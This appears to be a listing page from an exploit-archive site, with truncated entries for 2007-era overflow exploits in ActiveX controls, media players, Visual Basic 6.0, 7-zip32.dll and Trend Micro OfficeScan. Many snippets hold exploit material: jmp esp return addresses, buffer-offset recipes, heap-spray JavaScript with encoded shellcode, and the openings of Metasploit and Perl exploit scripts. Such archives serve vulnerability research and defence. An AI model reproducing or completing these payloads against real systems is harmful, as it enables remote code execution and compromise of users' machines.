联众世界游戏大厅GLItemCom.DLL ActiveX控件堆溢出漏洞

BUGTRAQ ID: 25565 联众世界游戏大厅是联众世界自主开发的一款集棋牌、休闲、对战于一体的游戏客户端。 联众世界游戏大厅所安装的GLItemCom.DLL ActiveX控件中SetClientInfo函数存在堆溢出漏洞。 如果用户受骗使用IE访问了恶意网页的话，就可以触发这个溢出，导致在用户系统上执行任意指令。以下是已公开的PoC代码： -----Cut Below------------------------------------------------------------------ OBJECT id=target...

Ultra Crypto Component (CryptoX.dll <= 2.0) Remote BoF Exploit

Exploit for unknown platform in category remote exploits ============================================================== Ultra Crypto Component CryptoX.dll ----------------------------------------------------------------------------------- Ultra Crypto Component CryptoX.dll url:...

Trend Micro OfficeScan Remote Stack Buffer Overflow

This module exploits a stack buffer overflow in Trend Micro OfficeScan cgiChkMasterPwd.exe running with SYSTEM privileges. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'metasm' class MetasploitModule 'Trend...

Unauthenticated DCOM SystemActivation/RemoteActivation traffic (CVE-2003-0352; CVE-2003-0605; CVE-2003-0715)

There are several known and widely exploited vulnerabilities through the use of DCOM over MS-RPC. There are cases in which certain traffic, although not intended for malicious use, is very unsafe, since it may transfer shellcode which is undetectable by IPS...

atomix23-overflow.txt

0x77394540 jmp esp in mswsock.dll Winxp Pro Version 2002 exploit : A x 516 +EIP - jmp esp - 4 + Nops -10 + Shellcode By : 0x58 greetz : miyyet,,diablos5s5,,vxroot,,Str0ke,,Metasploit Moroccan Hackers ! / win32exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com...

AtomixMP3 2.3 (pls File) Local Buffer OverFlow Exploit

No description provided by source. ?php / AtomixMP3 2.3 pls File Local Buffer OverFlow ret addr - 0x77394540 jmp esp in mswsock.dll Winxp Pro Version 2002 exploit : A x 516 +EIP - jmp esp - 4 + Nops -10 + Shellcode By : 0x58 greetz : miyyet,,diablos5s5,,vxroot,,Str0ke,,Metasploit Moroccan Hackers...

globallink-overflow.txt

document.write""; var heapSprayToAddress = 0x0c0c0c0c; var shellcode = unescape "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" + // exec calc "%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" + "%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +...

GlobalLink 2.7.0.8 - 'glItemCom.dll SetInfo()' Heap Overflow

document.write""; var heapSprayToAddress = 0x0c0c0c0c; var shellcode = unescape "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" + // exec calc "%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" + "%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +...

otsturntables-overflow.txt

?php / OTSTurntables 1.00 Buffer OverFlow 0days 224 bytes available for shellcode,, you can replace it with you favourite one,, 0x77394540 jmp esp in shell32.dll Winxp sp0 exploit : A x 277 +EIP - jmp esp - 4 + Nops -10 + Shellcode -224 && if you want to exploit this vul with SEH ,, take some inf...

msvb-codeexec.txt

!/usr/bin/perl ' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++ ' ++++++++++++++++++++++++++++++++++++++++++++++++++++++ '++ Author: Koshi + '++ Email: heykoshi at gmail dot com + '++ Application: Microsoft Visual Basic 6.0 + '++ + '++ Tested on Microsoft Windows XP Home Edition SP2 + '++...

AtomixMP3 2.3 (pls File) Local Buffer OverFlow Exploit

Exploit for unknown platform in category local exploits ====================================================== AtomixMP3 2.3 pls File Local Buffer OverFlow Exploit ====================================================== 0x77394540 jmp esp in mswsock.dll Winxp Pro Version 2002 exploit : A x 516 +EI...

virtualdj-overflow.txt

Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, you can replace it with you favourite one,, ret addr - 0x7199403D jmp esp in mswsock.dll Winxp sp0 exploit : A x 484 +EIP - jmp esp - 4 + Nops -10 + Shellcode -224 Discovred by 0x58 && Coded By miyy3t,,Midt's lab !! Greetz :...

Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec Exploit

Exploit for unknown platform in category local exploits ============================================================== Microsoft Visual Basic 6.0 VBPOpen OLE Local CodeExec Exploit ============================================================== !/usr/bin/perl ' ++ Microsoft Visual Basic 6.0 Code...

Microsoft Visual Basic 6.0 - VBP_Open OLE Local CodeExec

Microsoft Visual Basic 6.0 - VBPOpen OLE Local CodeExec !/usr/bin/perl ' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++ ' ++++++++++++++++++++++++++++++++++++++++++++++++++++++ '++ Author: Koshi + '++ Email: heykoshi at gmail dot com + '++ Application: Microsoft Visual Basic 6.0 + '++ + '+...

Microsoft Visual Basic 6.0 - VBP_Open OLE Local CodeExec

!/usr/bin/perl ' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++ ' ++++++++++++++++++++++++++++++++++++++++++++++++++++++ '++ Author: Koshi + '++ Email: heykoshi at gmail dot com + '++ Application: Microsoft Visual Basic 6.0 + '++ + '++ Tested on Microsoft Windows XP Home Edition SP2 + '++...

AkkyWareHOUSE '7-zip32.dll' 4.42 - Heap Buffer Overflow

source: https://www.securityfocus.com/bid/25545/info AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Attackers may be able to execute arbitrary machine code in the context of the affected application...

AkkyWareHOUSE 7-zip32.dll 4.42 - Heap Buffer Overflow

AkkyWareHOUSE 7-zip32.dll 4.42 - Heap Buffer Overflow source: https://www.securityfocus.com/bid/25545/info AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Attackers may be able to execute arbitrary...

Move Media Player 1.0 Quantum Streaming - ActiveX Control Multiple Buffer Overflow Vulnerabilities

Move Media Player 1.0 Quantum Streaming - ActiveX Control Multiple Buffer Overflow Vulnerabilities source: https://www.securityfocus.com/bid/25529/info Move Media Player is prone to multiple remote buffer-overflow vulnerabilities because the application fails to properly bounds-check user-supplie...

OTSTurntables 1.00 (m3u File) Local Buffer Overflow Exploit

No description provided by source. ?php / OTSTurntables 1.00 Buffer OverFlow 0days 224 bytes available for shellcode,, you can replace it with you favourite one,, 0x77394540 jmp esp in shell32.dll Winxp sp0 exploit : A x 277 +EIP - jmp esp - 4 + Nops -10 + Shellcode -224 if you want to exploit th...

Virtual DJ 5.0 (m3u File) Local Buffer OverFlow Exploit

No description provided by source. Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, you can replace it with you favourite one,, ret addr - 0x7199403D jmp esp in mswsock.dll Winxp sp0 exploit : A x 484 +EIP - jmp esp - 4 + Nops -10 + Shellcode -224 Discovred by 0x58 && Code...